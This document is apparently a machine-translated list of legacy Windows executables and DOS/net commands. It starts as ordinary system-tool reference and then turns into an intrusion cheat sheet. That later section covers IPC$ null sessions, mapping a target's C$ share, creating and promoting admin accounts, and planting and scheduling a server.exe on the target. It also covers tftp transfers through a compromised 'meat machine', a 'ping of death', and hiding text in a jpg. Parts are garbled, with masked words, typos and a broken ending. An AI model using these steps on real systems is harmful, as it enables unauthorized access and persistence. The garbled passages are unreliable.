forcedos.exe Force File to Run in DOS Mode
ftp.exe FTP Download
gpedit.msc Group Policy
gdi.exe Graphics Interface Driver
grpconv.exe Convert Program Administrator Group
hostname.exe Display Machine's Hostname
Internat Input Method Icon
iexpress Trojan Bundling Tool, Built into the System
ieshwiz.exe Custom Folder Wizard
iexpress.exe iexpress Installation Package
iisreset.exe Restart IIS Service (Not Available if IIS is Not Installed)
internat.exe Keyboard Language Indicator (not available in XP)
ipconfig.exe View IP Configuration
ipsecmon.exe IP Security Monitor
ipxroute.exe IPX Routing and Source Routing Control Program
irftp.exe Wireless Connection
ismserv.exe Install or Remove Service in Service Control Manager
jdbgmgr.exe Java 4 Debugger
jetconv.exe Convert Jet Engine Database (not available in XP)
jetpack.exe Compress Jet Database (not available in XP)
jview.exe Java Command Line Loader
label.exe Change Volume Label of Drive
lcwiz.exe License Wizard (not available in XP)
ldifde.exe LDIF Directory Exchange Command Line Management (not available in XP)
licmgr.exe Terminal Services License Agreement Management (not available in XP)
lights.exe Display Connection Status (not available in XP)
llsmgr.exe Windows 2000 License Agreement Management (not available in XP)
llssrv.exe Start License Agreement Server (not available in XP)
locator.exe RPC Locator Remote Location
lodctr.exe Call Performance Count
logoff.exe Log Off Current User
lpq.exe Display Status of Remote LPD Print Queue, Display Print Jobs Sent to Unix-Based Server
lpr.exe For Unix Clients to Send Print Jobs to NT Printer Server Connected to Print Device.
lsass.exe Run LSA and Server DLL
lserver.exe Specify Default Server New DNS Domain (not available in XP)
lusrmgr.msc Local Account Management
mmc Console
mplayer2 Player
macfile.exe Manage MACFILES (not available in XP)
magnify.exe Magnifier
makecab.exe Make CAB File
mem.exe Show Memory Status
migpwd.exe Migrate Password
mmc.exe Console
mnmsrvc.exe Remote Desktop Sharing
mobsync.exe Synchronize Directory Manager
mountvol.exe Create, Delete, or List Mount Points of Volume.
mplay32.exe Media Player
mpnotify.exe Notification Application
mqbkup.exe Information Queue Backup and Restore Tool
mqmig.exe MSMQ Migration Utility Information Queue Migration Tool
mrinfo.exe Use SNMP Multicast Routing
mscdexnt.exe Install MSCD
msdtc.exe Dynamic Transaction Processing Console
msg.exe Send Message to Local or Remote Client
mshta.exe HTML Application Host
msiexec.exe Start Windows Installer
mspaint.exe Open Paint
mstask.exe Task Scheduler Program
mstinit.exe Task Scheduler Installation
Msconfig.exe System Configuration Utility (Configure Startup Options, Service Items)
mem.exe Show Memory Usage
mspaint Paint
Net Stop Messenger Stop Messenger Service
Net Start Messenger Resume Messenger Service
nslookup Network Management Tool
Nslookup IP Address Detector
ntbackup System Backup and Restore
nbtstat.exe Use NBT (NetBIOS over TCP/IP) to display protocol statistics and current TCP/IP connections.
nddeapir.exe NDDE API Server Side
netsh.exe For Configuring and Monitoring Windows 2000 Command Line Script Interface (not available in XP)
netstat.exe Display Protocol Statistics and Current TCP/IP Network Connections.
nlsfunc.exe Load Information for Specific Countries. Windows 2000 and MS-DOS Subsystem Do Not Use This Command, Accepting the Command Only for Compatibility with MS-DOS Files.
notepad.exe Open Notepad
nslookup.exe This Diagnostic Tool Displays Information from Domain Name System (DNS) Name Servers.
ntbackup.exe Backup and Disaster Recovery Tool
ntfrs.exe NT File Replication Service (not available in XP)
ntvdm.exe Simulate 16-bit Windows Environment
nw16.exe NetWare Redirector
nwscript.exe Run Netware Script
odbcad32.exe 32-bit ODBC Data Source Management (Driver Management)
odbcconf.exe Command Line Configure ODBC Driver and Data Source
packager.exe Object Packager
pathping.exe Program Including Ping and Tracert
pentnt.exe Check Pentium Floating Point Errors
perfmon.exe System Performance Monitor
ping.exe Verify Connection to Remote Computer
posix.exe For Compatibility with Unix
print.exe Print Text File or Display Contents of Print Queue.
progman.exe Program Manager
psxss.exe Posix Subsystem Application
qappsrv.exe Display Programs Available on Terminal Server on Network
qprocess.exe Display Process Information Locally or Remotely (Requires Terminal Services)
query.exe Query Processes and Conversations (not available in XP)
quser.exe Display User Login Information (Requires Terminal Services)
qwinsta.exe Display Terminal Services Information
rononce -p 15-second Shutdown
rasAdmin Remote Access Service.
regedit.exe Registry Editor
rasadmin.exe Start Remote Access Service (not available in XP)
rasautou.exe Establish a RAS Connection
rasdial.exe Broadband, Dial-up Connection
ras.exe Run RAS Connection (not available in XP)
rcp.exe Copy Files Between Computer and System Running Remote Shell Port Monitor Program rshd
rdpclip.exe Terminal and Local Copy and Paste Files
recover.exe Recover Readable Information from Bad or Defective Disk.
redir.exe Run Redirector Service
regedt32.exe 32-bit Registration Service
regini.exe Modify Registration Permissions with Script
regwiz.exe Registration Wizard
replace.exe Replace Files in Target Directory with Files of the Same Name in Source Directory.
rexec.exe The rexec command verifies the username on the remote computer before executing the specified command. This command can only be used after the TCP/IP protocol is installed.
risetup.exe Run Remote Installation Wizard Service (not available in XP)
route.exe Control Network Routing Table
rsh.exe Run Command on Remote Computer Running RSH Service
rsnotify.exe Remote Storage Notification Echo
runas.exe Allows Users to Run Specified Tools and Programs with Other Permissions
rundll32.exe Start 32-bit DLL Program
rwinsta.exe Reset Session Subsystem Hardware and Software to Initial Values
Sndvol32 Volume Control Program
sfc.exe or CMD\ sfc.exe Press Enter System File Checker
services.msc Network Connection Service
syskey System Encryption, (Once Encrypted, It Cannot Be Unlocked, Protecting the Dual Password of Windows XP System wupdmgr WIDNOWS UPDATE)
SCANREG/RESTORE Command to Restore Recent Registry
secedit.exe Automated Security Configuration Management
services.exe Control All Services
sethc.exe Set High Contrast
setver.exe Set the MS-DOS Version Number Reported by the MS-DOS Subsystem to the Program
sfc.exe System File Check
shadow.exe Monitor Another Terminal Server Session
shrpubw.exe Create and Share Folder
sigverif.exe File Signature Verification
smlogsvc.exe Performance Logs and Alerts (not available in XP)
sndrec32.exe Recorder
sndvol32.exe Display Sound Control Information
snmp.exe Simple Network Management Protocol (not available in XP)
snmptrap.exe SNMP Tool (not available in XP)
srvmgr.exe Server Manager (not available in XP)
subst.exe Associate Path with Drive Letter
sysedit.exe System Configuration Editor
syskey.exe NT Account Database Encryption Tool
sysocmgr.exe > Windows Installer
systray.exe Run systray with Low Privilege
taskmgr Task Manager
tasklist /svc(CMD) Understand How Many System Services Each SVCHOST Process Provides (Not Available in 2000\98)
tlist -S(CMD) Understand How Many System Services Each SVCHOST Process Provides (
taskman.exe Task Manager (not available in XP)
taskmgr.exe Task Manager
tcmsetup.exe Telephone Service Client Installation
tcpsvcs.exe TCP Service
termsrv.exe Terminal Services
tftp.exe Transfer Files to or from Remote Computer Running TFTP Service
themes.exe Desktop Themes (not available in XP)
tlntadmn.exe Administrator Telnet Service Management
tlntsess.exe Display Current Telnet Sessions
tlntsvr.exe Start Telnet Service
tracert.exe Diagnostic Utility Sends Internet Control Message Protocol (ICMP) Echo Packets with Different Time to Live (TTL) Values to the Target to Determine the Route Taken to the Target
tsadmin.exe Administrator Terminal Services Manager (not available in XP)
tscon.exe Paste User Session to Terminal Conversation
tsdiscon.exe Disconnect User of Terminal Services
tskill.exe Kill Terminal Services
tsprof.exe Get Query Results with Terminal Services
tsshutdn.exe Shutdown System
unlodctr.exe Part of Performance Monitor
upg351db.exe Upgrade Jet Database (not available in XP)
ups.exe UPS service UPS Service
user.exe Windows Core Service
userinit.exe Open My Documents
usrmgr.exe Domain User Manager
utilman.exe Specify Which Machine to Automatically Open at 2000 Startup
vwipxspx.exe Call IPX/SPX VDM
w32tm.exe Time Server
wextract.exe Extract Windows Files
winchat.exe Open Windows Chat Tool
winhlp32.exe Run Help System
winmsd.exe View System Information
winver.exe Display Windows Version
wizmgr.exe Windows Management Wizard (not available in XP)
wjview.exe Java Command Line Call Java
write.exe Open WordPad
wscript.exe Script Tool
wupdmgr.exe Windows update Run Windows update Upgrade Wizard
winver Check Windows Version
Win98 System Tools
Start, Run, Enter Msconfig System Configuration Utility Configure Startup Options, Including config.sys, autoexec.bat, win.ini, system.ini and Registry and Startup Items in Program Menu. And Can Set Whether to Boot in Case of Failure.
Start, Run, Enter Regedit Registry Modification Tool Registry Editor, Do Not Randomly Modify the Registry Without Assurance!
Start, Run, Enter Regsvr32 DLL Registration Tool When Prompting That the DLL File Cannot Be Found, Use This to Register the Dynamic Link Library.
Start, Run, Enter Regwiz Registration Wizard Used for Registration. Verify System Files and Can Restore System Files.
If an Error Similar to *.vxd File Occurs During Startup, Use This to Restore the vxd File.
Start, Run, Enter Scandskw Disk Scan Program, Used to Scan and Repair Disks. If There Are Errors in the Disk or Files, It Can Be Used for Initial Repair.
Start, Run, Enter DxDiag DirectX Diagnostic Tool Can Be Used to Detect Whether DirectX Runs Normally.
Start, Run, Enter NETSCAPE
ESC: Clear Current Command Line;
F7: Display Command History, Give All Commands That Have Been Entered in the Form of a Graphic List Window, and Can Select to Execute the Command Again with Up and Down Arrow Keys.
F8: Search Command History, Cycle Through All Commands That Have Been Entered Until You Press the Enter Key;
F9: Select Command by Number, Require You to Enter the Number Corresponding to the Command (Starting from 0) in a Graphic Dialog Box, and Display the Command on the Screen;
Ctrl+H: Delete One Character to the Left of the Cursor;
Ctrl+C Ctrl+Break, Force Abort Command Execution;
Ctrl+M: Indicates the Enter Confirmation Key;
Alt+F7: Clear All Command History That Has Been Entered;
Alt+PrintScreen: Capture the Content in the Current Command Window on the Screen.
The System Files Are Damaged by the Virus. Please Use Antivirus Software to Kill the Virus, and Then Use the Chkdsk /r Command in the "Command Console" Provided by Windows 2000 to Check and Repair the System Files.
DOS Command Dictionary.. Collection
net use \ip\ipc$ " " /user:" " Establish IPC Empty Link
net use \ip\ipc$ "Password" /user:"Username" Establish IPC Non-Empty Link
net use h: \ip\c$ "Password" /user:"Username" Directly Log In and Map the Other Party's C: to Local as H:
net use h: \ip\c$ Log In and Map the Other Party's C: to Local as H:
net use \ip\ipc$ /del Delete IPC Link
net use h: /del Delete the Mapping of the Other Party to Local as H:
net user Username Password /add Create User
net user guest /active:yes Activate Guest User
net user View Which Users There Are
net user Account Name View Account Properties
net localgroup ***istrators Username /add Add "User" to Administrator to Make It Have Administrator Privileges, Note: Add s in Plural After ***istrator
net start View Which Services Are Started
net start Service Name Start Service; (e.g.: net start telnet, net start schedule)
net stop Service Name Stop a Certain Service
net time \Target IP View the Other Party's Time
net time \Target IP /set Set Local Computer Time to Synchronize with the Time of "Target IP" Host, Add Parameter /yes to Cancel Confirmation Information
net view View Which Shares Are Opened in the Local LAN
net view \ip View Which Shares Are Opened in the Other Party's LAN
net config Display System Network Settings
net logoff Disconnect Connected Shares
net pause Service Name Pause a Certain Service
net send ip "Text Information" Send Information to the Other Party
net ver Network Connection Type and Information Being Used in the LAN
net share View Local Opened Shares
net share ipc$ Open ipc
net share ipc$ /del Delete ipc
net share c$ /del Delete C: Share
net user guest 12345 Log in with Guest User and Change Password to 12345
net password Password Change System Login Password
netstat -a View Which Ports Are Opened, Commonly Used netstat -an
netstat -n View Network Connection Status of Ports, Commonly Used netstat -an
netstat -v View Work in Progress
netstat -p Protocol Name Example: netstat -p tcq/ip View Usage of a Certain Protocol (View Usage of tcp/ip Protocol)
netstat -s View Usage of All Currently Used Protocols
nbtstat -A ip If One of the Ports from 136 to 139 of the Other Party Is Opened, You Can View the Recently Logged-in Username of the Other Party (Username Before 03) - Note: Parameter -A Should Be Capitalized
tracert -Parameter ip (or Computer Name) Trace Route (Packet), Parameter: "-w Number" Used to Set Timeout Interval.
ping ip (or Domain Name) Send Data with Default Size of 32 Bytes to the Other Party's Host, Parameter: "-l[Space]Packet Size"; "-n Send Data Times"; "-t" Means Ping Continuously.
ping -t -l 65550 ip Death Ping (Send File Larger Than 64K and Ping Continuously to Become Death Ping)
ipconfig (winipcfg) Used to View Local IP Address for Windows NT and XP (Windows 95 98), ipconfig Can Use Parameter "/all" to Display All Configuration Information
tlist -t Display Processes in Tree List Form (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
kill -F Process Name Force End a Certain Process with Parameter -F (An Additional Tool for the System, Not Installed by Default, in the Support/tools Folder of the Installation Directory)
del -F File Name Delete Read-Only File with Parameter -F, /AR, /AH, /AS, /AA Respectively Mean Delete Read-Only, Hidden, System, Archive File, /A-R, /A-H, /A-S, /A-A Mean Delete Files Other Than Read-Only, Hidden, System, Archive. For Example, "DEL/AR *.*" Means Delete All Read-Only Files in the Current Directory, "DEL/A-S *.*" Means Delete All Files in the Current Directory Except System Files
move Drive Letter\Path\File Name to Be Moved Path\Moved File Name Move File, Use Parameter /y to Cancel the Prompt to Confirm the Existence of the Same File in the Moved Directory and Directly Overwrite
fc one.txt two.txt > 3st.txt Compare Two Files and Output Differences to 3st.txt File, "> " and "> >" Are Redirect Commands
at id number Start a Registered Scheduled Task
at /delete Stop All Scheduled Tasks, Use Parameter /yes Then Do Not Need to Confirm and Directly Stop
at id number /delete Stop a Registered Scheduled Task
at View All Scheduled Tasks
at \ip time Program Name (or a Command) /r Run the Other Party's Program at a Certain Time and Restart the Computer
finger username @host View Which Users Have Logged In Recently
telnet ip Port Remotely Log in to the Server, Default Port Is 23
open ip Connect to IP (Belongs to Command After Telnet Login)
telnet Type telnet Directly on This Computer to Enter Telnet on This Computer
copy Path\File Name 1 Path\File Name 2 /y Copy File 1 to the Specified Directory as File 2, Use Parameter /y to Cancel Confirm You Want to Rewrite an Existing Directory File
copy c:\srv.exe \ip\***$ Copy Local c:\srv.exe to the Other Party's ***
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the Content of 2st.txt in 1st.jpg to Generate a New File 3st.jpg, Note: The File Header of 2st.txt Should Be Empty for Three Rows, Parameter: /b Means Binary File, /a Means ASCLL Format File
copy \ip\***$\svv.exe c:\ or:copy\ip\***$\*.* Copy the Other Party's ***i.exe File (All Files) to Local C:
xcopy File or Directory Tree to Be Copied Target Address\Directory Name Copy File and Directory Tree, Use Parameter /Y to Not Prompt to Overwrite the Same File
tftp -i Own IP (Use Meat Machine as Jump Server, This Uses Meat Machine IP) get server.exe c:\server.exe After Logging In, Download "IP" Server.exe to Target Host c:\server.exe Parameter: -i Means Transfer in Binary Mode, Use When Transferring EXE Files, If Not Adding -i, Transfer in ASCII Mode (Transfer Text File Mode)
tftp -i Other Party's IP put c:\server.exe After Logging In, Upload Local c:\server.exe to the Host
ftp ip Port Used to Upload Files to the Server or Perform File Operations, Default Port Is 21. bin Means Transfer in Binary Mode (For Executable Files); Default Is Transfer in ASCII Format (For Text Files)
route print Display IP Routing, Will Mainly Display Network Address Network addres, Subnet Mask Netmask, Gateway Address Gateway addres, Interface Address Interface
arp View and Process ARP Cache, ARP Means Name Resolution, Responsible for Resolving an IP into a Physical MAC Address. arp -a Will Display All Information
start Program Name or Command /max or/min Open a New Window and Run a Certain Program or Command in Maximized (Minimized) Mode
mem View CPU Usage
attrib File Name (Directory Name) View Attributes of a Certain File (Directory)
attrib File Name -A -R -S -H or +A +R +S +H Remove (Add) Attributes of a Certain File: Archive, Read-Only, System, Hidden; Use + to Add a Certain Attribute
dir View Files, Parameter: /Q Displays Which User the File and Directory Belong to the System, /T:C Displays File Creation Time, /T:A Displays Last Access Time of File, /T:W Last Modified Time
date /t, time /t Use This Parameter, That Is "DATE/T", "TIME/T" Will Only Display Current Date and Time, Without Having to Enter New Date and Time
set Specify Environment Variable Name=Character to Be Assigned to Variable Set Environment Variable
set Display All Current Environment Variables
set p(or other word?/ca>
